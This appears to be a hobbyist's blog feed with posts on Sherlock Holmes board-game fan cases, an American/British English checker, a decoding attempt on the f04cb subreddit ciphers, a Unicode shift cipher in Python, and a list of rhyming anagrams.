<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/"https:\/\/codewordsolver.com\/index.cgi?l1=//'</span> <span class="nt">-e</span> <span class="s1">'s/"https:\/\/www.codewordsolver.com\/index.cgi?l1=//'</span> out | <span class="nb">sed</span> <span class="s1">'/^"/d'</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/&l.=//g'</span> <span class="nt">-e</span> <span class="s1">'s/&l..=//g'</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/%3F/?/g'</span> <span class="nt">-e</span> <span class="s1">'s/%253F/?/g'</span> | <span class="nb">sed</span> <span class="s1">'s/?/./g'</span> | <span class="nb">sed</span> <span class="s1">'s/"//g'</span> | <span class="nb">sed</span> <span class="s1">'/^\s*$/d'</span> | <span class="nb">tr</span> <span class="s1">'[:lower:]'</span> <span class="s1">'[:upper:]'</span> | <span class="nb">sort</span> | <span class="nb">uniq</span> <span class="nt">-c</span> | <span class="nb">sort</span> <span class="nt">-n</span></code></pre></figure>
Sherlock Holmes Consulting Detective Fan Cases2016-07-31T00:00:00+00:00http://laurencetennant.com/shcd<p>The 1981 mystery game <em>Sherlock Holmes Consulting Detective</em> is ranked as one of the <a href="https://boardgamegeek.com/boardgame/2511/sherlock-holmes-consulting-detective">best 100 board games</a>, but until recently you could only play it ten times before you ran out of cases. Following the 2015 reprint of the game, several fans have created and published excellent cases of their own. This table aims to keep track of these cases in a clean format:</p>
<table>
<thead>
<tr>
<th style="text-align: left">Case</th>
<th style="text-align: left">Case Date</th>
<th style="text-align: left">Author(s)</th>
<th style="text-align: left">Publish Date</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left"><a href="https://boardgamegeek.com/filepage/136115/case-bad-fortunes-english-translation">A Case of Bad Fortunes</a></td>
<td style="text-align: left">Oct 11, 1891</td>
<td style="text-align: left">Jean Millemann, translated by Graham Penny & David Czechowski</td>
<td style="text-align: left">Aug 11, 2016</td>
</tr>
<tr>
<td style="text-align: left"><a href="https://boardgamegeek.com/filepage/135218/murder-behind-closed-doors-english-translation">Murder Behind Closed Doors</a></td>
<td style="text-align: left">Jan 10, 1888</td>
<td style="text-align: left">Stefano Adriani, translated by Laurence Tennant & David Czechowski</td>
<td style="text-align: left">Aug 1, 2016</td>
</tr>
<tr>
<td style="text-align: left"><a href="https://boardgamegeek.com/filepage/135083/fan-case-death-sherlock-holmes">The Death of Sherlock Holmes</a></td>
<td style="text-align: left">Dec 2, 1893</td>
<td style="text-align: left">Cody Fleming</td>
<td style="text-align: left">Jul 28, 2016</td>
</tr>
<tr>
<td style="text-align: left"><a href="https://boardgamegeek.com/filepage/133753/user-made-case-case-clay-potts">The Case of the Clay Potts</a></td>
<td style="text-align: left">Jun 5, 1895</td>
<td style="text-align: left">Rogue Trooper</td>
<td style="text-align: left">Jun 25, 2016</td>
</tr>
<tr>
<td style="text-align: left"><a href="https://boardgamegeek.com/filepage/130456/diavolo-case-english-translation">The Diavolo Case</a></td>
<td style="text-align: left">Jun 24, 1889</td>
<td style="text-align: left">Yann Gentil, translated by Dominic Mahon & David Czechowski</td>
<td style="text-align: left">Apr 1, 2016</td>
</tr>
<tr>
<td style="text-align: left"><a href="https://boardgamegeek.com/filepage/127785/mystery-hanging-man-english-translation">The Mystery of the Hanging Man</a></td>
<td style="text-align: left">May 14, 1889</td>
<td style="text-align: left">Yann Gentil, translated by Dominic Mahon & David Czechowski</td>
<td style="text-align: left">Jan 29, 2016</td>
</tr>
<tr>
<td style="text-align: left"><a href="https://boardgamegeek.com/thread/1421516/slain-scholar-fan-case">The Slain Scholar</a></td>
<td style="text-align: left">March 18, 1886</td>
<td style="text-align: left">Thane Mullen</td>
<td style="text-align: left">Aug 20, 2015</td>
</tr>
<tr>
<td style="text-align: left"><a href="https://boardgamegeek.com/thread/1419598/fan-case-commandeered-corpse">The Commandeered Corpse</a></td>
<td style="text-align: left">Nov 12, 1890</td>
<td style="text-align: left">Steven Dewhurst</td>
<td style="text-align: left">Aug 16, 2015</td>
</tr>
<tr>
<td style="text-align: left"><a href="https://boardgamegeek.com/thread/1237704/custom-case-ogilvie-curse">The Ogilvie Curse</a></td>
<td style="text-align: left">May 18, 1888</td>
<td style="text-align: left">Tim Stevenson & Beth Stanley</td>
<td style="text-align: left">Sep 17, 2014</td>
</tr>
</tbody>
</table>
<p>In addition, David Czechowski maintains an exhaustive listing of all known cases, including unreleased ones, <a href="https://docs.google.com/spreadsheets/d/1bkzsLiCfgUOn1Ke2vc3XmjK0Jot0LeG7zyh5HlVqptQ">here</a>.</p>
American to British English Translator2016-05-15T00:00:00+00:00http://laurencetennant.com/american-english<p>Recently I’ve been translating some stories with an American friend, and we’ve often run into the issue of mixing American English and British English. Each dialect carries thousands of exclusive meanings and connotations, and this leads to unexpected misunderstandings.</p>
<p>I once embarrassed myself by asking an American whether I could borrow his “rubber”. Neither of us were aware of the dual meaning of “rubber”: an eraser in the UK, a prophylactic in the USA.</p>
<p>More complicated examples abound. A “bill” is an invoice or request for payment in both American and British English, but in American English it can also mean paper money (a “note” in the UK). On the other hand, in British English, “the bill” might refer to the police, for reasons that nobody seems to know.</p>
<p>After being caught out enough times by such subtleties, I wondered if there was a website that could find and fix them for me. A quick search revealed that existing sites only detected regional spellings, such as “analyse” / “analyze”.</p>
<p>I made a better tool that swallows large texts and coughs up any words that show the slightest traces of regional influence, according to exhaustive Wikipedia information. Here’s the link: <strong><a href="https://codewordsolver.com/american-british-english-translator">American English to British English Translator</a></strong>.</p>
<p>The website and accompanying code should be useful to:</p>
<ul>
<li>people learning English as a foreign language</li>
<li>writers aiming to appeal to a Transatlantic audience</li>
<li>authors attempting to write in the voice of an American/British character</li>
<li>Brits who wish to know which American colloquialisms they have inadvertently picked up (and more rarely, vice-versa)</li>
</ul>
The f04cb mystery so far2016-02-10T00:00:00+00:00http://laurencetennant.com/f04cb<p>The <a href="https://reddit.com/r/f04cb41f154db2f05a4a">f04cb41f154db2f05a4a subreddit</a> is one of the Internet’s many mysteries. It has been listed amongst the <a href="https://web.archive.org/web/20160321201316/http://www.geek.com/news/10-of-the-weirdest-creepiest-most-insane-subreddits-1588190/">weirdest, creepiest, most insane subreddits</a> ever, and made an appearance in <em>The Daily Telegraph</em>’s <a href="http://www.telegraph.co.uk/technology/social-media/11491539/Reddit-10-of-the-most-bizarre-subreddits-ever-created.html">list of the most bizarre subreddits ever created</a>.</p>
<p>In short, the cryptic messages on the subreddit have received a great deal of attention, yet little progress has been made as to what they might mean. So what do we know so far?</p>
<ul>
<li>The posts began back in 2012 and comprise of lists of eight character strings: “RoVdTYF5 ReReSYJ1 TIZ1SYN3 SID5RoJb” with numeric titles</li>
<li>This format was deviated from just twice, when f04cb posted the plaintext “help” and “please help us”</li>
<li>Also, one of the posts is simply titled zero</li>
<li>The subreddit’s background used to feature the Reddit mascot with a bleeding eye, but reverted back to default at some point</li>
</ul>
<p>Theories as to what the messages might signify ranged from links to a Russians lasergun website, speculations about leaked data from the Tehran Stock Exchange, to botnet <a href="https://en.wikipedia.org/wiki/Command_and_control_(malware)">command & control</a> instructions.</p>
<p>Many attempts were made to break the code, some more determined than others. By May 2015, the community had come up with some <a href="https://www.reddit.com/r/Solving_f04cb/comments/39nv52/alright_so_right_off_the_bat/">promising ideas</a>, most of which originate from Reddit user <a href="https://www.reddit.com/r/solving_reddit_codes/comments/31x63m/i_am_obsessed_with_this_code_rf04cb41f154db2f05a4a/cq7n5mm">ZtriS</a>:</p>
<ul>
<li>The post titles are <a href="https://en.wikipedia.org/wiki/Unix_time">UNIX timestamps</a>, roughly approximate to the actual post date</li>
<li>A combination of <a href="https://en.wikipedia.org/wiki/Base64">Base64</a> decode and <a href="https://en.wikipedia.org/wiki/Caesar_cipher">Caesar cipher</a> translates the ciphertext into numbers</li>
<li>The final digit of the timestamp is the Caesar shift value</li>
</ul>
<p>Still, not everyone agreed that this was the right approach, and the next step to take in the puzzle was totally unclear. At that point, the cryptic posts stopped coming, and with no further progress made, interest in solving the mystery almost completely died out…</p>
<p>…until 20 days ago, when <a href="https://www.reddit.com/r/f04cb41f154db2f05a4a/comments/426idl/1453483174/">a post</a> following the familiar format appeared. The rebirth of f04cb was echoed over reddit and was noted by a friend, who sent the ciphertext to me. We first read over all pertinent information before attempting to make some headway on this tantalising mystery.</p>
<p>First of all, it was pretty clear that the Caesar + Base64 approach was the right thing to do, particularly because shifting by the last digit of the timestamp unveiled numbers every time. For us, the obvious next step was to quickly hack up some Python to decipher all the posts this way, and then closely inspect the output. First, a Caesar cipher function:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">caesar_decrypt</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="n">result</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">key</span> <span class="o">=</span> <span class="s">'abcdefghijklmnopqrstuvwxyz'</span>
<span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">message</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">l</span><span class="p">.</span><span class="n">lower</span><span class="p">())</span> <span class="o">-</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span>
<span class="k">if</span> <span class="n">l</span><span class="p">.</span><span class="n">isupper</span><span class="p">():</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">upper</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">except</span> <span class="nb">ValueError</span><span class="p">:</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">l</span>
<span class="k">return</span> <span class="n">result</span></code></pre></figure>
<p>In the posts, only letters are shifted whilst numbers and symbols remain intact, so we didn’t bother with an <a href="/unicode-shift-cipher">ordinal transformation</a>. Instead we hardcoded the key and ensured that uppercase characters remained uppercase for the Base64 decode. A few of the posts made the Python Base64 module complain of ‘Incorrect Padding’, which indicated that the user had manually deleted some of the =’s from the ends of the posts – perhaps to disguise the nature of the ciphertext – although this was inconsistently done. We had to add the missing padding with a <a href="http://stackoverflow.com/a/9807138">useful function</a>:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">decode_base64</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="n">missing_padding</span> <span class="o">=</span> <span class="mi">4</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">%</span> <span class="mi">4</span>
<span class="k">if</span> <span class="n">missing_padding</span><span class="p">:</span>
<span class="n">data</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'='</span> <span class="o">*</span> <span class="n">missing_padding</span>
<span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="n">decodestring</span><span class="p">(</span><span class="n">data</span><span class="p">)</span></code></pre></figure>
<p>Applying those two functions to the posts, with timestamp[-1] as the second argument to caesar_shift, decoded them all to numbers of varying lengths. One more thing: f04cb’s comments and sidebar lack timestamp titles, so we needed to brute force the Caesar shift value, although ‘brute force’ is an overstatement when describing trying out just ten numbers:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">f04cb_bruteforce</span><span class="p">(</span><span class="n">message</span><span class="p">):</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">):</span>
<span class="n">caesared</span> <span class="o">=</span> <span class="n">caesar_decrypt</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">x</span><span class="p">)</span>
<span class="n">base64d</span> <span class="o">=</span> <span class="n">decode_base64</span><span class="p">(</span><span class="n">caesared</span><span class="p">)</span>
<span class="k">if</span> <span class="n">base64d</span><span class="p">.</span><span class="n">isdigit</span><span class="p">():</span>
<span class="k">return</span> <span class="n">base64d</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">pass</span></code></pre></figure>
<p>While crawling all of f04cb’s content, we logged the actual timestamp of the posts. This turned out to be a minor item of interest: although it took him or her 174 seconds between generating the first post’s timestamp title and posting to reddit – and over a minute in the next few subsequent posts – the last 4 posts all took less than 8 seconds, with the most recent one a lightning 4 seconds. f04cb is getting faster.</p>
<p>So what we had were about <a href="http://pastebin.com/52kS6tPB">3500 apparently random numbers</a>, with no patterns to be seen. We tried a few common things on those numbers, such as converting each pair of digits to letters mod 26, which gave us nonsense like this:</p>
<blockquote>
<p>stimqekbgbljqoneuvutnvfikticfrrkcslzwegkszdxqrsxvrndoftkfvilcmnydobhl</p>
</blockquote>
<p>It struck us that if the numbers really were randomly distributed, there was not much we could do with them. Knowing that eyes alone cannot be trusted, we performed a chi-square test against the uniform distribution, which confirmed that the numbers are indeed randomly distributed.</p>
<p>Now, this did not necessarily mean that we were at the end of our quest. In cryptography, a completely random ciphertext screams <a href="https://en.wikipedia.org/wiki/One-time_pad">‘One Time Pad’</a>. The plaintext is found by XORing the ciphertext with a randomly-generated key. We tried XORing posts with the sidebar text, and with other posts, all to no avail.</p>
<p>We read about the <a href="https://en.wikipedia.org/wiki/Venona_project#Decryption">VENONA Project</a>, in which USA cryptanalysts were able to crack a Soviet one-time pad, but only because the Soviets reused the same key, and because of a method called <a href="http://crypto.stackexchange.com/a/2250">‘crib-dragging’</a>, which involves painstakingly trying out common phrases until one slots into the correct position. However, since we do not know anything about a hypothetical underlying f04cb plaintext, that method won’t help us. Furthermore, almost all f04cb messages are of different lengths, so looking for some kind of common key would appear a futile effort. If the key were something shorter and guessable, say a word or phrase, then the ciphertext would not be randomly distributed as it is.</p>
<p>Yet the mystery was not over. We got in contact with ZtriS, who pointed out an intriguing property of the ciphertext: when converted to hexadecimal, it’s no longer random. We were sceptical at first, so we did a little experiment to check.</p>
<p>First, by reversing the decryption procedure above, we had a program capable of generating ciphertext indistinguishable to that posted by f04cb:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">base64</span><span class="p">,</span> <span class="n">random</span><span class="p">,</span> <span class="n">re</span><span class="p">,</span> <span class="n">time</span>
<span class="n">MIN_LENGTH</span> <span class="o">=</span> <span class="mi">15</span>
<span class="n">MAX_LENGTH</span> <span class="o">=</span> <span class="mi">100</span>
<span class="n">timestamp</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()))</span>
<span class="k">def</span> <span class="nf">caesar_encrypt</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="n">result</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">key</span> <span class="o">=</span> <span class="s">'abcdefghijklmnopqrstuvwxyz'</span>
<span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">message</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">l</span><span class="p">.</span><span class="n">lower</span><span class="p">())</span> <span class="o">+</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span>
<span class="k">if</span> <span class="n">l</span><span class="p">.</span><span class="n">isupper</span><span class="p">():</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">upper</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">except</span> <span class="nb">ValueError</span><span class="p">:</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">l</span>
<span class="k">return</span> <span class="n">result</span>
<span class="n">message</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="n">MIN_LENGTH</span><span class="p">,</span> <span class="n">MAX_LENGTH</span><span class="p">)):</span>
<span class="n">message</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">))</span>
<span class="n">b64d</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">message</span><span class="p">))</span>
<span class="n">caesared</span> <span class="o">=</span> <span class="n">caesar_encrypt</span><span class="p">(</span><span class="n">b64d</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">timestamp</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span>
<span class="k">print</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="s">'........'</span><span class="p">,</span> <span class="n">caesared</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="n">x</span><span class="p">)</span></code></pre></figure>
<p>Next, we generated an amount of fake data equal in length to the original f04cb data, and then performed a Pearson’s correlation after decryption and conversion to hexademical. A coefficient above 39 was the 0.999 confidence interval for non-random data, and while our fake data scored 16.3 (as we would expect for random data), the original data scored 126.2. In other words, while the f04cb numbers look random to the human eye, they are in fact far from it.</p>
<p>Indeed, the non-randomness of the decrypted f04cb data in hex is clear from the marked peaks and troughs of the frequency distribution:</p>
<p><img src="/assets/f04cb.png" alt="f04cb hexadecimal character frequency" /></p>
<p>Furthermore, the non-randomness showed up when interpreting the number in any power-of-two base (such as binary or hexadecimal), giving some clue as to an underlying representation. We weren’t sure where to go next, though.</p>
<p>A year and a half later, Reddit user fikuhasdigu <a href="https://www.reddit.com/r/Solving_f04cb/comments/6u7eol/success/">fully decrypted the code</a>! Unfortunately the contents are not very interesting.</p>
Unicode Shift Cipher2015-04-22T00:00:00+00:00http://laurencetennant.com/unicode<p>Security by obscurity isn’t security, but it can make for a <a href="https://danielmiessler.com/study/security-by-obscurity/">confounding layer</a> on top of strong cryptography. Unfamilar characters like the Korean Hangul or Chinese Hanzi tend to be filtered out by people who can’t read them, which presents a fun opportunity to hide information in plain sight.</p>
<p>The Unicode Shift Cipher converts plaintext in one language to ciphertext that appears to be in another language. By default, an English message is converted to Unicode code points and then shifted onto the Chinese Unicode block. A random multiple of the plaintext Unicode code point range is added in order to create variation in the ciphertext, which modulo arithmetic can reverse. This works best when the ciphertext code point range is much larger than the plaintext code point range.</p>
<p>The code is faciliated by Python 3’s excellent Unicode support.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/python3
# -*- coding: utf-8 -*-
</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="n">code_points</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'english'</span><span class="p">:</span> <span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="mi">126</span><span class="p">),</span>
<span class="s">'burmese'</span><span class="p">:</span> <span class="p">(</span><span class="mi">1024</span><span class="p">,</span> <span class="mi">1279</span><span class="p">),</span>
<span class="s">'arabic'</span><span class="p">:</span> <span class="p">(</span><span class="mi">1536</span><span class="p">,</span> <span class="mi">1791</span><span class="p">),</span>
<span class="s">'canadian_aboriginal'</span><span class="p">:</span> <span class="p">(</span><span class="mi">5120</span><span class="p">,</span> <span class="mi">5759</span><span class="p">),</span>
<span class="s">'chinese'</span><span class="p">:</span> <span class="p">(</span><span class="mi">19968</span><span class="p">,</span> <span class="mi">40869</span><span class="p">),</span>
<span class="s">'korean'</span><span class="p">:</span> <span class="p">(</span><span class="mi">44032</span><span class="p">,</span> <span class="mi">55216</span><span class="p">),</span>
<span class="p">}</span>
<span class="k">def</span> <span class="nf">unicodeCipher</span><span class="p">(</span>
<span class="n">message</span><span class="p">,</span>
<span class="n">mode</span><span class="p">,</span>
<span class="n">plaintext</span><span class="o">=</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="mi">126</span><span class="p">),</span>
<span class="n">ciphertext</span><span class="o">=</span><span class="p">(</span><span class="mi">19968</span><span class="p">,</span> <span class="mi">40869</span><span class="p">),</span>
<span class="p">):</span>
<span class="s">"""Unicode shift cipher
Args:
message (str): The plaintext to be enciphered.
mode (str): 'e' for encryption, 'd' for encryption.
plaintext (tuple): Tuple of the plaintext unicode start and end points. Defaults to ASCII plaintext. You can use one of the strings defined in the code_points dictionary.
ciphertext (tuple): Tuple of the ciphertext unicode start and end points. Defaults to Chinese. You can use one of the strings defined in the code_points dictionary.
"""</span>
<span class="k">if</span> <span class="n">mode</span> <span class="o">!=</span> <span class="s">'e'</span> <span class="ow">and</span> <span class="n">mode</span> <span class="o">!=</span> <span class="s">'d'</span><span class="p">:</span>
<span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">'Mode must be e for encryption or d for decryption'</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">plaintext</span><span class="p">)</span> <span class="ow">is</span> <span class="nb">str</span><span class="p">:</span>
<span class="n">plaintext</span> <span class="o">=</span> <span class="n">code_points</span><span class="p">[</span><span class="n">plaintext</span><span class="p">]</span>
<span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span> <span class="ow">is</span> <span class="nb">str</span><span class="p">:</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="n">code_points</span><span class="p">[</span><span class="n">ciphertext</span><span class="p">]</span>
<span class="n">plaintext_range</span> <span class="o">=</span> <span class="n">plaintext</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">-</span> <span class="n">plaintext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span>
<span class="n">ciphertext_range</span> <span class="o">=</span> <span class="n">ciphertext</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">-</span> <span class="n">ciphertext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">ciphertext_size</span> <span class="o">=</span> <span class="n">ciphertext_range</span> <span class="o">/</span> <span class="n">plaintext_range</span>
<span class="k">if</span> <span class="n">ciphertext_size</span> <span class="o"><</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">'Ciphertext code point range needs to be larger than plaintext code point range'</span><span class="p">)</span>
<span class="n">output</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">if</span> <span class="n">mode</span> <span class="o">==</span> <span class="s">'e'</span><span class="p">:</span>
<span class="k">for</span> <span class="n">letter</span> <span class="ow">in</span> <span class="n">message</span><span class="p">:</span>
<span class="n">unicode_decimal</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">letter</span><span class="p">)</span> <span class="o">-</span> <span class="n">plaintext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="n">ciphertext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="n">plaintext_range</span> <span class="o">*</span> <span class="nb">int</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">uniform</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ciphertext_size</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">output</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">unicode_decimal</span><span class="p">))</span>
<span class="k">elif</span> <span class="n">mode</span> <span class="o">==</span> <span class="s">'d'</span><span class="p">:</span>
<span class="k">for</span> <span class="n">letter</span> <span class="ow">in</span> <span class="n">message</span><span class="p">:</span>
<span class="n">unicode_decimal</span> <span class="o">=</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">letter</span><span class="p">)</span> <span class="o">-</span> <span class="n">ciphertext</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">%</span> <span class="n">plaintext_range</span> <span class="o">+</span> <span class="n">plaintext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">output</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">unicode_decimal</span><span class="p">))</span>
<span class="k">return</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">example_plaintext</span> <span class="o">=</span> <span class="s">'This is a Unicode cipher'</span>
<span class="n">example_ciphertext</span> <span class="o">=</span> <span class="n">unicodeCipher</span><span class="p">(</span><span class="n">example_plaintext</span><span class="p">,</span> <span class="s">'e'</span><span class="p">,</span> <span class="s">'english'</span><span class="p">,</span> <span class="s">'korean'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Ciphertext: '</span> <span class="o">+</span> <span class="n">example_ciphertext</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Decrypted: '</span> <span class="o">+</span> <span class="n">unicodeCipher</span><span class="p">(</span><span class="n">example_ciphertext</span><span class="p">,</span> <span class="s">'d'</span><span class="p">,</span> <span class="s">'english'</span><span class="p">,</span> <span class="s">'korean'</span><span class="p">))</span></code></pre></figure>
Anagrhymes2015-02-14T00:00:00+00:00http://laurencetennant.com/anagrhymes<p>This Valentine’s Day I spent a romantic evening with a glass of wine and a computer, compiling a list of around 2000 rhyming anagrams. I call these unique words ‘anagrhymes’. Anagrhymes are rather like Kim Kardashian’s love affairs: they sound as if they might be interesting, but turn out to be extremely dull. It eased my own loneliness to discover that almost all of the word groups turned out to lack anything more than a superficial connection. In addition, there were some very ugly discoveries: ‘incest’ is just one letter away from being ‘nicest’. The best anagrhyme is probably ‘tapestries’ / ‘striptease’, which just goes to show how unexciting most of them are.</p>
<p>gallery, allergy, largely, regally<br />
cartesian, ascertain, sectarian<br />
psalters, plasters, staplers<br />
parental, paternal, prenatal<br />
layering, relaying, yearling<br />
coursing, scouring, sourcing<br />
certification, rectification<br />
catering, creating, reacting<br />
alerting, altering, relating<br />
adroitly, dilatory, idolatry<br />
conservation, conversation<br />
teheran, earthen, hearten<br />
skating, staking, tasking<br />
psalter, plaster, stapler<br />
loaders, ordeals, reloads<br />
lasting, salting, slating<br />
drawers, rewards, warders<br />
dangers, ganders, gardens<br />
catered, created, reacted<br />
carting, crating, tracing<br />
capitol, optical, topical<br />
angered, enraged, grenade<br />
andrews, wanders, wardens<br />
ambling, blaming, lambing<br />
alerted, altered, related<br />
petitioners, repetitions<br />
intervening, reinventing<br />
impressions, permissions<br />
deification, edification<br />
cataloguing, coagulating<br />
calligraphy, graphically<br />
attentively, tentatively<br />
anthologies, theologians<br />
ulster, luster, lustre<br />
striptease, tapestries<br />
statements, testaments<br />
spotlights, stoplights<br />
skates, stakes, steaks<br />
serves, severs, verses<br />
rashes, shares, shears<br />
procedures, reproduces<br />
praetorian, reparation<br />
pertaining, repainting<br />
naples, panels, planes<br />
marine, airmen, remain<br />
mantle, mantel, mental<br />
last, lats, salt, slat<br />
kroc, rock, cork, rock<br />
introduces, reductions<br />
intervened, reinvented<br />
infarction, infraction<br />
indiscreet, iridescent<br />
incest, insect, nicest<br />
impressive, permissive<br />
impression, permission<br />
housewares, warehouses<br />
fliers, lifers, rifles<br />
filtration, flirtation<br />
elisha, sheila, shelia<br />
egocentric, geocentric<br />
discerning, rescinding<br />
delude, dueled, eluded<br />
decimation, medication<br />
decimating, medicating<br />
dealership, leadership<br />
damien, maiden, median<br />
countering, recounting<br />
conserving, conversing<br />
chattering, ratcheting<br />
certifying, rectifying<br />
bruise, buries, rubies<br />
begins, beings, binges<br />
barely, barley, bleary<br />
auctioning, cautioning<br />
arnold, roland, ronald<br />
algorithms, logarithms<br />
alarmingly, marginally<br />
admonition, domination<br />
aden, dane, dean, dean<br />
unaltered, unrelated<br />
statement, testament<br />
stateless, tasteless<br />
spotlight, stoplight<br />
snatching, stanching<br />
resorting, restoring<br />
reserving, reversing<br />
redrawing, rewarding<br />
posturing, sprouting<br />
pertained, repainted<br />
parceling, replacing<br />
overturns, turnovers<br />
orientals, relations<br />
limestone, milestone<br />
licensing, silencing<br />
kitchener, thickener<br />
hangovers, overhangs<br />
foundling, unfolding<br />
excepting, expecting<br />
enlisting, listening<br />
downloads, woodlands<br />
discerned, rescinded<br />
densities, destinies<br />
demurring, murdering<br />
demanding, maddening<br />
decimated, medicated<br />
creditors, directors<br />
crediting, directing<br />
creations, reactions<br />
courteous, outsource<br />
countered, recounted<br />
complaint, compliant<br />
collapsed, scalloped<br />
certitude, rectitude<br />
certifies, rectifies<br />
certified, rectified<br />
buttering, rebutting<br />
buffering, rebuffing<br />
auctioned, cautioned<br />
attentive, tentative<br />
aspirates, parasites<br />
argentine, tangerine<br />
altitudes, latitudes<br />
allotting, totalling<br />
allergies, galleries<br />
algorithm, logarithm<br />
